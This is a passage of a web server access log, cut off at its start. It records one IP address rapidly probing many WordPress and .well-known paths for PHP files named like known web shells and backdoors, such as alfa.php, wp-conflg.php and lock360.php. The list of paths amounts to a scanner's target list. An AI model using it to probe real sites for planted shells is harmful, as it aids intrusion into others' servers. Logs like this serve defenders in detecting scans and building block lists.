OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:10 +0300] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:10 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:41:11 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:41:11 +0300] "GET /wp-includes/fonts/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:11 +0300] "GET /.well-known/pki-validation/aewso.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:11 +0300] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:11 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:12 +0300] "GET /sys.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:12 +0300] "GET /wp-admin/css/colors/blue/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:12 +0300] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:12 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:41:13 +0300] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:13 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:13 +0300] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:13 +0300] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:13 +0300] "GET /fm1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:41:14 +0300] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:41:14 +0300] "GET /wordpress/wp-content/uploads/anceaecs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:14 +0300] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:14 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:15 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:15 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:15 +0300] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:41:15 +0300] "GET /log.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:15 +0300] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:16 +0300] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:16 +0300] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:16 +0300] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:16 +0300] "GET /wp-includes/js/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:17 +0300] "GET /x/index.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:17 +0300] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:41:17 +0300] "GET /wp-content/uploads/wpr-addons/forms/e.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:18 +0300] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:18 +0300] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:18 +0300] "GET /wp-content/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:41:18 +0300] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:18 +0300] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:41:19 +0300] "GET /wp-includes/mani.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:41:19 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:19 +0300] "GET /.well-known/index.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:19 +0300] "GET /cgi-bin/cyohbodf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:20 +0300] "GET /css/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:20 +0300] "GET /.well-known/Ex34L.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:20 +0300] "GET /wp-admin/css/colors/room.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:20 +0300] "GET /wp-content/uploads/wpr-addons/forms/rk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:20 +0300] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:21 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:21 +0300] "GET /images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:21 +0300] "GET /wp-aespa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:21 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:22 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:22 +0300] "GET /wp-admin/includes/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:22 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:41:22 +0300] "GET /.well-known/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:22 +0300] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:22 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:23 +0300] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:23 +0300] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:23 +0300] "GET /wp-content/x/index.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:41:23 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:24 +0300] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:24 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:24 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:24 +0300] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:24 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:25 +0300] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:25 +0300] "GET /.well-known/bosctspi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:25 +0300] "GET /wp-content/uploads/wpr-addons/forms/CasperSecurity.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:25 +0300] "GET /.well-known/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:26 +0300] "GET /wp-includes/PHPMailer/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:26 +0300] "GET /wp-conflg.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:26 +0300] "GET /wp-includes/Requests/xBrain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:27 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:41:27 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:27 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:27 +0300] "GET /images/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:27 +0300] "GET /images/rest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:27 +0300] "GET /wp-admin/css/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:28 +0300] "GET /wp-admin/images/classsmtps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:28 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:41:28 +0300] "GET /.well-known/acme-challenge/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:28 +0300] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:29 +0300] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:29 +0300] "GET /.well-known/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:41:29 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:29 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:41:29 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:41:30 +0300] "GET /wp-content/mu-plugins/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:30 +0300] "GET /.well-known/pki-validation/infos.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:41:30 +0300] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:30 +0300] "GET /cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:31 +0300] "GET /upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:31 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:31 +0300] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:31 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:31 +0300] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:32 +0300] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:41:32 +0300] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:41:32 +0300] "GET /admin/controller/extension/wpm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:41:32 +0300] "GET /payout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:33 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:41:33 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:41:33 +0300] "GET /wp_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:41:33 +0300] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:34 +0300] "GET /xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:34 +0300] "GET /by.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:41:34 +0300] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:34 +0300] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:35 +0300] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:41:35 +0300] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:35 +0300] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:35 +0300] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 